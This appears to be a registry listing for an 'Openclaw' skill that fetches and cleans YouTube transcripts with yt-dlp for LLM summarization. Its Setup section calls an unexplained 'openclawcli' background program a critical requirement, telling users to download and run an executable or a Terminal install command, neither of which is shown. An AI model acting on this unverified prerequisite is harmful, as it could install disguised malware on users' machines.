YouTube Video Summarizer for Openclaw

A powerful utility to programmatically extract, clean, and prepare YouTube transcripts for AI-driven summarization and content analysis.

jordanprater
v1.0.1
Feb 1, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install youtube-summarize

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install youtube-summarize using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is YouTube Video Summarizer?

The YouTube Video Summarizer is a specialized tool designed to bridge the gap between video content and large language models. By leveraging the Openclaw Skills ecosystem, this tool allows users to bypass the time-consuming task of watching videos by extracting high-quality transcripts and metadata. It handles the complexities of fetching auto-generated captions and manual subtitles, ensuring that the resulting data is clean, formatted, and ready for deep analysis by AI agents.

Whether you are performing market research, academic study, or content curation, this skill provides the technical foundation needed to turn any YouTube URL into a structured text asset. It relies on the robust yt-dlp engine and requires the openclawcli utility to manage the background logic for transcript retrieval, making it a reliable choice for automated workflows.

YouTube Video Summarizer Use Cases

  • Summarizing long-form educational lectures and technical tutorials without manual playback.
  • Extracting key insights and talking points from podcasts and interviews for research documentation.
  • Automating competitive analysis by monitoring video metadata and descriptions across multiple channels.
  • Translating international video content by fetching transcripts in various languages for global analysis.
  • Creating searchable text archives of video libraries for quick reference within Openclaw Skills environments.

How YouTube Video Summarizer Works

  1. Initialize the environment by ensuring the openclawcli background process is active and yt-dlp is installed.
  2. Input a YouTube URL to the skill to trigger the metadata and subtitle extraction sequence.
  3. Extract raw subtitle files (VTT or JSON3) specifically targeting the preferred language.
  4. Apply post-processing scripts to remove VTT headers, timestamps, and repetitive artifacts, resulting in a clean plain-text transcript.
  5. Optionally extract video chapters and metadata to provide context to the summarized text.
  6. Pass the sanitized transcript to an LLM for final summarization or specific data extraction tasks.

YouTube Video Summarizer Setup

To begin using this skill within the Openclaw Skills framework, first install the necessary Python package:

pip install yt-dlp

Critical Requirement: You must have openclawcli running on your system. Windows users should download and run the executable from the official repository, while macOS users should execute the provided installation command in their Terminal. Without openclawcli, the transcript extraction commands will not function correctly.

YouTube Video Summarizer Data Schema & Taxonomy

The skill organizes video data into several structured formats to ensure compatibility with different analysis tools:

Data Component Format Description
Metadata JSON Contains title, channel, duration, view count, and upload date.
Raw Subtitles .vtt / .json3 Original caption files with timing data.
Cleaned Transcript .txt Plain text version stripped of all non-speech artifacts.
Chapter List List Timestamps and titles for individual video segments.
Multi-lang Maps Array Support for en, ru, es, and other ISO language codes.

YouTube Video Summarizer Advanced Features

  • Support for multi-language subtitle extraction, allowing for simultaneous retrieval of several language tracks.
  • Automated regex-based cleaning that transforms noisy VTT files into formatted plain text.
  • Direct stdout streaming capabilities for piping transcript data into other Openclaw Skills tools.
  • Chapter-aware processing to summarize specific sections of a video rather than the entire duration.
  • Deep metadata dumping including view counts, descriptions, and channel statistics for comprehensive data science tasks.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins yt-dlp
Github Stars: 0
forks: 0

Featured*